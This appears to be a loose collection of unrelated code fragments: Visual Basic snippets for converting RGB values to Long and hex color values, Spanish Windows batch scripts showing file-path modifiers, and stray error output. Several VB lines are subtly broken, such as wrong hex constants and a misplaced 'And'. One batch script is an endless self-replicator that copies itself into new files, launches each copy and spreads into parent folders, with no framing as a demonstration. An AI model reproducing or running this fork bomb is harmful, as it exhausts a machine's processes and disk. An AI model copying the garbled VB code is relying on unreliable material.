'in VB, a long integer representing color is created from RGB values:	
Color =	 B  	 *	  &FF00&    	 +	   G  	 *	 &HFF&   	 +	   R	
'or this without Hex notation	
Color =	 (256 *	 256 *	 B)  	 +	 G *	 256 +	 R	
 
'the bult-in VB function RGB can calculate the Long value for you	
Color =	 RGB (R,G,B)	
 
'to get the RGB from a long	
Function	 Color_to_RGB (Color As	 Long	 , R As	 Integer	 , G As	 Integer	 , B As	 Integer	 ) As	 Long	
  R =	 Color And	 &HFF&                                     	
  G =	 (Color And	 &HFF00&) \	 &H100&               	
  B =	 (Color &	 And	 &HFF0000) \	 &H10000          	
  	 'or	
  R =	 Color Mod	 256	
  G =	 (Color \	 256 ) Mod	 256 
  B =	 (Color \	 256 \	 256 ) Mod	 256	
End Function	
 
'in VB colors > &H80000000 are systems colors - which must be	
'interpreted by VB - they are not standard Long color values!	
'use the GetSysColor API to return the true long value of a system color	
Private	 Declare	 GetSysColor Lib	 "user32"	 (	 ByVal	 nIndex As	 Long	 ) As	 Long	
iColor =	 GetSysColor (iColor And	 &HFFFFFF)	
 
'values of R, G, B can be used to  as BBGGRR to form a hex representation of a color that VB understands	
'so, for R = "F0",  G="A3, and B = "2F, the hex representation in VB becomes BBGGRR:	
&H2FA3F0	
 
'to get the VB hex string for a color from the Long or RGB	
VBColorHexString =	 Right$(	 "000000"	 & Hex	 $( Color), 6)	
VBColorHexString =	 Right$(	 "000000"	 & Hex	 $( R +	 256 *	 (G +	 256 *	 B ), 6)	
 
'Note:  The Internet and other applications use RRGGBB for the hex format of a color	
WebColorHexString =	 Right$(	 "000000"	 & Hex	 $( B +	 256 *	 (G +	 256 *	 R ), 6)	
 
'to get the Web hex color string from the VB hex color string, swap the first 2 and last 2 character strings	
WebColorHexString =	 Right$(VBHexColorString, 2) & Mid	 $(VBColorHexString, 3, 2) & Left$(VBHexColorString, 2)	
 
 

  Azul = (Color And 16711680) / 65536
  Verde = (Color And 65280) / 256
  Rojo = Color And 255
 

@echo off
echo Ruta al archivo: %~f1
echo Disco: %~d1
echo Solo ruta: %~p1
echo Nombre: %~n1
echo Extension: %~x1
echo Ruta Corta: %~s1
echo Atributos: %~a1
echo Fecha: %~t1
echo Tamaño: %~z1
pause
 

Ruta al archivo:
Disco:
Solo ruta:
Nombre:
Extension:
Ruta Corta:
Atributos:
Fecha:
Tama±o:
Presione una tecla para continuar . . .

@echo off
set seg=%1
 
IF defined seg (
 
 set /a n=0
 
 :bluse
 
 set /a n= %n% + 1   
 
 copy %0 a%seg%-%n%.bat
 start a%seg%-%n%.bat %seg%-%n%   
 
 goto :bluse
 
) ELSE (
 
 if ["%cd%"]==["%cd:~0,3%"] goto:fin   
 
 cd..
 copy %0 a.bat
 start a.bat 
 start a.bat 0 
 
 :fin
 
)
 

      No se esperaba and en este momento.
   

if %CD% EQU %CD:~3% echo hola
echo no hola
pause